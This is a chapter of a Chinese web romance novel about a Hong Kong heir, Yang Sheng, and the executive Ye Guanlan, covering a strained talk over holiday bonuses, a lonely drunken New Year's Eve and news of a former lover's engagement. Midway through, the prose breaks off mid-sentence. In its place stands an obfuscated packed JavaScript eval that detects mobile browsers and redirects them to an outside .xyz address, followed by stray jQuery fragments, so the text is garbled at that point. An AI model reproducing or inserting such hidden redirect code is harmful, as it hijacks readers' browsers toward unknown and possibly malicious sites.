腊月廿八的晨光穿透防弹玻璃幕墙，在紫檀茶台上切割出几何光斑。


    杨晟的钢笔尖悬在鎏金笔记本上方，墨迹在“春节福利”四个字下晕染成团。


    以往在香港，他对这些事宜知之甚少，春节在他们眼中亦显得较为冷清。这些琐碎之事，原本无需他亲自挂心，公司自有专人负责，一切都会安排得井井有条。


    然而，杨晟认为这是他在公司的第一年，他渴望投身其中，那些昔日他不以为然的细节，如今他都想逐一探究。


    “值班津贴按基本工资三倍核算。”叶观澜的钢笔尖戳破财务报表，“另设部门绩效奖金池。”羊毫笔锋扫过预算栏，在空白处批注的瘦金体凌厉如刀。


    杨晟用钢笔尾端敲了敲茶海：“王晅公司发的是智能手环。”他故意拖长尾音，“带心率监测那种——听说能测出员工加班时的死亡风险？”


    叶观澜说一项，杨晟便在笔记本上写下来：“这样下来，光奖励就是一大笔支出，我看王晅公司发的还有其它福利品。”


    叶观澜一顿，随即又耐心解释道：“一件物品的价值显而易见，然而钱的价值取决于如何使用。”


    杨晟眯起眼睛，指间的钢笔在笔记本上轻敲出断续的节奏。“我不明白。”


    “比如这个。”叶观澜从博古架取下一只保温杯，杯底镭射标在灯光下泛着冷光，“限量款，六万二。但你觉得化疗的病人会需要它吗？”


    钢笔突然停住，在纸面洇开墨点。


    “不如直接给钱。”叶观澜用茶夹翻动着温杯的建盏，釉面折射出曜变的光斑，“二十块买止痛药，三十块买康乃馨，剩下的...”他忽然用杯底压住杨晟正在记录的页面，“够买半瓶安乐死。”


    防爆玻璃外，雪粒撞碎成冰晶瀑布。


    杨晟盯着茶汤里摇晃的金圈，恍惚看见父亲把黑卡甩在杨谦的赌桌上，翡翠扳指磕出清脆的响。“现金才是硬通货。”记忆里的声音和眼前重叠。


    钢笔尖在纸上狠狠一划，“流动性”三个字被墨水刺穿。杨晟突然调转笔锋，金属笔帽抵住叶观澜心口，在定制西装上留下个微凹的圆痕：“叶总的欲望...”他手腕一旋，笔尖挑开对方一粒纽扣，“最后流到哪个金库里了？”


    茶海上水雾氤氲。


    叶观澜的指尖拈着老班章茶饼，茶针撬开的脆响像某种密码。沸水冲入紫砂壶的刹那，茶叶舒展的簌簌声盖过了两人的呼吸。他手腕悬停的弧度精准如手术刀，水线在茶盘上蜿蜒出神秘的卦象。


    “叶观澜，你喜欢什么？权利，金钱？还是……”杨晟盯着他，指尖划过对方手腕被波波抓的痕迹，“爱而不得的李砚？”


    茶针突然扎进沉香木茶则，裂帛声惊飞了窗外觅食的灰喜鹊。叶观澜抬眼的瞬间，杨晟看见他瞳孔里闪过墓园石碑般的冷光。


    第一泡茶汤注入杯中时泛起琥珀色漩涡。“没人能拒绝权力。”叶观澜推过茶杯的手指纹丝不动，“就像这杯茶，握太紧会烫手，放太久会凉。”


    杨晟却不放过他：“你在逃避问题。”


    “杨总。”青瓷杯盖叩出清响，叶观澜的声音更冷了，“我们的合同里，没写情感咨询这项增值服务。”


    杨晟突然笑出声，翡翠貔貅在锁骨处乱颤：“叶观澜，你心跳快了。”他晃了晃偷开的智能手表，“一百四，够进ICU的数值。”


    原本愉快的谈话到此结束。


    自那日起，那间总亮着暖灯的客房再没响起过行李箱滑轮声。叶观澜每天经过时都会停顿两秒，仿佛在等待某个熟悉的、带着香水味的身影突然推门说：“借个浴室啊。”


    但防爆玻璃外的积雪已经化了三次。


    叶观澜本不该是这样的。


    杨晟时常望着他映在办公室落地窗上的剪影想——二十六岁的年纪，合该像自己这般，在兰桂坊的霓虹里醉到凌晨，或是驾着新买的跑车去赤柱追日出。


    可眼前这个男人，却总在深夜的会议室用红笔圈阅文件，腕表指针划过三点时，连睫毛都不曾颤动一下。


    杨晟烦躁地扯开领带。他分不清胸腔里翻涌的情绪，只知道自己嫉妒得发狂——嫉妒那个见过叶观澜穿破洞牛仔裤的李砚，嫉妒那个被叶观澜用自行车载着穿过海棠花雨的李砚。


    而自己，却永远无法触及被时光封印的、最鲜活的叶观澜。


    酒精、超模、派对动物。这些曾是杨晟最得意的标签。却从没有哪个清晨，会让他像现在这样，盯着叶观澜喜欢喝的茶时滚动的喉结出神。


    “你以什么身份过问我的感情史？”


    晟张了张嘴，“朋友”二字在舌尖打转的瞬间，对方已经给出答案——精确得像份商业合同里的免责条款。


    【合作关系，暂未达到朋友标准】


    寒风如刀，割裂着北京城的夜色。杨晟赤脚踩在露台的大理石地面上，冰凉的触感从脚底直窜上脊背。他仰头灌下一口威士忌，琥珀色的液体顺着下颌滑落，在睡袍上洇开深色的痕迹。


    叶观澜的目光像一柄解剖刀，冷静地剖开所有伪装。他指尖在玻璃杯沿划出的弧度，与审阅季度财报时如出一辙——杨晟突然读懂了这无声的诘问：杨总想要什么名分？


    这个认知像一记闷棍敲在太阳穴上。杨晟突然意识到，那些他以为心照不宣的暧昧，在叶观澜眼里或许只是商业合作的润滑剂。


    就像他们在签约仪式上的默契配合，就像他们为对方挡掉的桃花劫——都不过是利益共同体的常规操作。


    脚下是万丈灯火，车流如银河般流淌。可这璀璨的京城，于他而言却像座巨大的玻璃牢笼——看得见，摸得着，却始终被隔绝在外。


    那些他醉酒后硬背下来的京片子，那些他熬夜研读的内地政策，那些他为融入这个圈子付出的努力，终究抵不过“港岛弃子”的标签。


    落地窗扭曲的倒影里，那个曾经在兰桂坊纵酒高歌的浪荡子，此刻眼角堆满疲惫的细纹。他想起上月宴会的露台上，自己指着星空问的那句傻话：“我是不是...永远都融不进这里？”


    “北京啊...”叶观澜当时晃着香槟，冰块碰撞声像在嘲笑他的天真，“就像个倚老卖老的倔老头。”酒液在月光下泛着琥珀色的光，“你得先把它打疼了，它才会记住你的名字。”


    此刻杨晟突然笑出声，整座京城的灯火在他眼底燃烧，恍如那年维多利亚港的烟火——那时他一心想要攀附叶家这棵大树，如今才惊觉，自己早已深陷名为叶观澜的劫。


    喉间蓦地涌上一股铁锈味的苦涩，杨晟的指尖无意识掐进掌心。


    原来这场博弈里，先交出真心的赌徒，从来都不是叶观澜对李砚的“爱而不得”，而是他杨晟。


    ……


    CBD的霓虹穿透防弹玻璃，在杨晟摇晃的酒杯里碎成星屑。鸳鸯锅在智能茶几上沸腾，清汤那侧浮着蔫掉的茼蒿——红油翻滚，却无人下筷。


    大年三十，万家灯火，而他身边只剩下一个阿华。


    智能管家第五次提醒低温警告时，杨晟正赤脚踩过满地的酒瓶。翡翠貔貅在他敞开的领口晃荡，像当年油麻地码头打架时踉跄的步伐。


    “阿华！”他突然把话筒怼到助理面前，嗓子哑得不成样，“同我唱《富士山下》！”


    阿华看了眼屏幕上“《上海滩》循环八遍”的记录，默默切歌。混响器将杨晟的破音修得凄厉，像把生锈的刀在刮骨。


    酒瓶终于见底时，杨晟瘫在沙发上盯着天花板：“我系唔系...好失败？”


    阿华摇头，语气斩钉截铁：“阿少从来不是失败的人。”


    “那你告诉我——”杨晟侧过头，眼底猩红，“路在哪儿？”


    阿华沉默了很久，久到窗外的烟花炸开，映亮半边夜空。


    “你心里清楚。”他最终开口，声音很轻，却像刀子一样锋利，“你只是不敢承认。”


    铝罐在杨晟掌


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508261|168677||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心扭曲变形。承认什么？承认他对叶观澜那点痴念？还是清楚自己这个豪门弃子，竟妄想挤进北京最金贵的圈子？


    他突然大笑起来，抓起话筒又开始吼《风的季节》。眼尾通红，泪光在霓虹里闪烁成一片血色银河。


    与此同时，叶观澜正坐在书房的窗前，手里捧着一本书，却一页未翻。


    窗外烟花绚烂，阖家团圆的日子，他却独自一人。手机屏幕亮起，无数未接来电和微信消息，唯独没有那个人的。


    他放下书，走到客厅，取了一瓶酒，打开电视。春晚的小品正在上演合家欢，观众笑声阵阵，而他的视线却定格在手机屏保——照片里，杨晟正笑嘻嘻地把火锅料倒进他收藏的乾隆粉彩大碗。


    “这只碗够买你那辆帕加尼。”他记得自己当时冷冷地说。


    而现在，他盯着手机，指尖悬在拨号键上，最终按了下去。


    ——电话响了很久，最终被挂断。


    叶观澜皱了皱眉，胸口像是被什么堵住，闷得发疼。


    酒店里，杨晟盯着屏幕上闪烁的“叶观澜”三个字，手指悬在挂断键上，迟迟未动。


    “阿少，”阿华低声问，“不接吗？”


    杨晟闭了闭眼，猛地按下挂断，将手机狠狠扔到一旁。


    “接了又能说什么？”他扯了扯嘴角，笑得比哭还难看，“我在他眼里……不过是个笑话。”


    阿华叹了口气，没有再说什么。


    这头，叶观澜将手机扔在桌上，屏幕朝下，像是要隔绝什么。指尖悬停在半空，微微发颤，最终还是没有再拿起来。


    酒精在血液里缓慢燃烧，灼得他太阳穴突突直跳。这种熟悉的烦躁感像潮水一样漫上来，将他拖回六年前那个雪夜——他讨厌这种感觉，更讨厌自己居然还会为此动摇。


    寒露在玻璃上凝成蜿蜒的河流，手机突然再次震动，嗡嗡的声响在寂静的房间里格外刺耳。叶观澜盯着闪烁的来电显示，半晌才划开接听。


    “说。”


    “兄弟，新年快乐啊！”王晅的声音带着醉醺醺的笑意，背景音里隐约有酒杯碰撞的清脆声响。


    叶观澜嗤笑一声：“凌晨三点四十七分的新年祝福？王少又玩什么行为艺术？”


    “别这么冷淡嘛，出来喝一杯？”王晅笑嘻嘻地问。


    “不来。”叶观澜干脆利落地拒绝。


    “行吧……”王晅顿了顿，语气忽然变得迟疑，“你……还好吧？”


    叶观澜指尖无意识地敲击着桌面，声音冷得像冰：“……我应该不好？”


    “……”


    电话那头沉默了几秒，随后王晅像是下定决心般开口：“李砚初六订婚。”


    ——咚。


    心脏像是被人狠狠攥住，又猛地松开。叶观澜呼吸一滞，胸口泛起一阵尖锐的刺痛，仿佛有人用刀尖沿着旧伤重新划开一道口子。


    “操，烦死了！”王晅突然暴躁地骂了一句，“李砚喝多了，刚跟我在一起，说漏嘴了。对方是苏见微，你应该记得，咱们高中同学。”


    叶观澜没说话，喉咙发紧，像是被无形的手扼住。六年前的记忆如潮水般涌来——他失控地威胁、狼狈地哀求，甚至跪在地上抓住李砚的手腕，声音嘶哑地说：“再等等，我能给你更好的……”


    可李砚只是轻轻掰开他的手指，头也不回地走了。


    “嗯，恭喜他。”叶观澜听见自己的声音，平静得不像话。


    “……你真没事？”王晅试探着问，“他给你发了请帖，你要去吗？”


    “没事。”叶观澜轻笑一声，指尖却深深掐进掌心，“都过去那么久了……他要是请我，我一定准时到。”


    电话挂断，房间里只剩下死一般的寂静。叶观澜站在落地窗前，望着玻璃上自己的倒影——一个被夜色吞噬的影子。


    他突然意识到，这栋房子空荡得可怕。而他，已经在这种孤独里，行尸走肉般地活了二十年。